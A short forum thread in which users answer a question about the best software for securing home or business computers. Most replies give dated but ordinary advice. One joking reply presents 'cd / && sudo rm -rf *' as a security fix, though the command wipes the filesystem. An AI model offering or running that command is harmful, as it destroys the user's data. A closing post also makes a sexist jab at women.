Security Protecting program?

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  1. onedownfiveup

    onedownfiveup Active Member

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    What's the best software for securing your computers and computer network?
     
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    DAN513 OT Supporter

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    home network or a business one?
     
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    securing how?

    virus? attack? data theft? ...... or from stupid users?
     
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    altf4alt4.exe
     
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    insert linux live cd, open console, run:

    Code:
    cd / && sudo rm -rf *
    eject cd, reboot, enjoy the security!
     
  6. whup

    whup I wish you had children and.. so that I could step

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    - First you need a router between the computer(s) and the internet. This is a good first step because it won't allow direct connections from malicious machines on the internet being initiated with the computers internal to the network, unless you willingly use NAT. If you're on a broadband you probably already have one.

    - Install some good free Anti-virus software on all the machines and keep it up to date, such as AVGFree

    - Ensure all the machines are patched and up to date.

    - Use Spyspot S&D and Adaware, and a modern browser like IE7, Firefox or Opera to keep the web browsing a bit safer and your machines cleaner.

    - Use the windows firewall in SP2 as a good simple firewall to protect against unauthorized outgoing connections.

    - Most importantly don't be stupid, like opening email attachments or web files from untrusted sources - especially executables.
     
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    there is way more common sense in here than most people have.
     
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    That's basically what I'm doing with it.

    Just figured I'd ask if anyone runs one program like Norton Utillities.
     
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    I do. It helps. I occassionally get a message that something was prevented. Then I usually ask my wife and she says she got a "strange message" when she tried to open an email attachment.

    ........... women :rolleyes:
     

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